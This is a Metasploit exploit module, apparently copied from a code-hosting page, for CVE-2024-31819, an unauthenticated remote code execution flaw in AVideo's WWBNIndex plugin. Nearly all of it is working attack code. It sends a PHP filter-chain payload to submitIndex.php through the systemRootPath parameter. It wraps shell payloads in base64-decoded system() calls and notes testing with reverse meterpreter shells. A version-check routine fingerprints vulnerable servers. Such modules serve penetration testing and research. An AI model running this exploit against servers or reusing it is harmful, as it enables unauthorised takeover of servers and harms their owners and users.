Path: blob/master/modules/exploits/multi/http/avideo_wwbnindex_unauth_rce.rb
33708 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::HTTP::PhpFilterChain10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'AVideo WWBNIndex Plugin Unauthenticated RCE',17'Description' => %q{18This module exploits an unauthenticated remote code execution (RCE) vulnerability19in the WWBNIndex plugin of the AVideo platform. The vulnerability exists within the20`submitIndex.php` file, where user-supplied input is passed directly to the `require()`21function without proper sanitization. By exploiting this, an attacker can leverage the22PHP filter chaining technique to execute arbitrary PHP code on the server. This allows23for the execution of commands and control over the affected system. The exploit is24particularly dangerous because it does not require authentication, making it possible25for any remote attacker to exploit this vulnerability.26},27'Author' => [28'Valentin Lobstein'29],30'License' => MSF_LICENSE,31'References' => [32['CVE', '2024-31819'],33['URL', 'https://github.com/WWBN/AVideo'],34['URL', 'https://chocapikk.com/posts/2024/cve-2024-31819']35],36'Targets' => [37[38'PHP In-Memory',39{40'Platform' => 'php',41'Arch' => ARCH_PHP42# tested with php/meterpreter/reverse_tcp43}44],45[46'Unix In-Memory',47{48'Platform' => ['unix', 'linux'],49'Arch' => ARCH_CMD50# tested with cmd/linux/http/x64/meterpreter/reverse_tcp51}52],53[54'Windows In-Memory',55{56'Platform' => 'win',57'Arch' => ARCH_CMD58# tested with cmd/windows/http/x64/meterpreter/reverse_tcp59}60],61],62'Privileged' => false,63'DisclosureDate' => '2024-04-09',64'Notes' => {65'Stability' => [CRASH_SAFE],66'Reliability' => [REPEATABLE_SESSION],67'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]68},69'DefaultOptions' => {70'SSL' => true,71'RPORT' => 443,72'FETCH_WRITABLE_DIR' => '/tmp'73}74)75)76end7778def exploit79php_code = "<?php #{target['Arch'] == ARCH_PHP ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));"} ?>"80filter_payload = generate_php_filter_payload(php_code)81res = send_request_cgi(82'method' => 'POST',83'uri' => normalize_uri(target_uri.path, 'plugin', 'WWBNIndex', 'submitIndex.php'),84'ctype' => 'application/x-www-form-urlencoded',85'data' => "systemRootPath=#{filter_payload}"86)87print_error("Server returned #{res.code}. Successful exploit attempts should not return a response.") if res&.code88end8990def check91res = send_request_cgi({92'uri' => normalize_uri(target_uri.path, 'index.php'),93'method' => 'GET',94'follow_redirect' => true95})96return CheckCode::Unknown('Failed to connect to the target.') unless res97return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 2009899version_match = res.body.match(/Powered by AVideo ® Platform v([\d.]+)/) || res.body.match(/<!--.*?v:([\d.]+).*?-->/m)100return CheckCode::Unknown('Unable to extract AVideo version.') unless version_match && version_match[1]101102version = Rex::Version.new(version_match[1])103plugin_check = send_request_cgi({104'uri' => normalize_uri(target_uri.path, 'plugin', 'WWBNIndex', 'submitIndex.php'),105'method' => 'GET'106})107unless plugin_check&.code == 200108CheckCode::Safe('Vulnerable plugin WWBNIndex was not detected')109end110111if version.between?(Rex::Version.new('12.4'), Rex::Version.new('14.2'))112return CheckCode::Appears("Detected vulnerable AVideo version: #{version}, with vulnerable plugin WWBNIndex running.")113end114115CheckCode::Safe("Detected non-vulnerable AVideo version: #{version}")116end117end118119120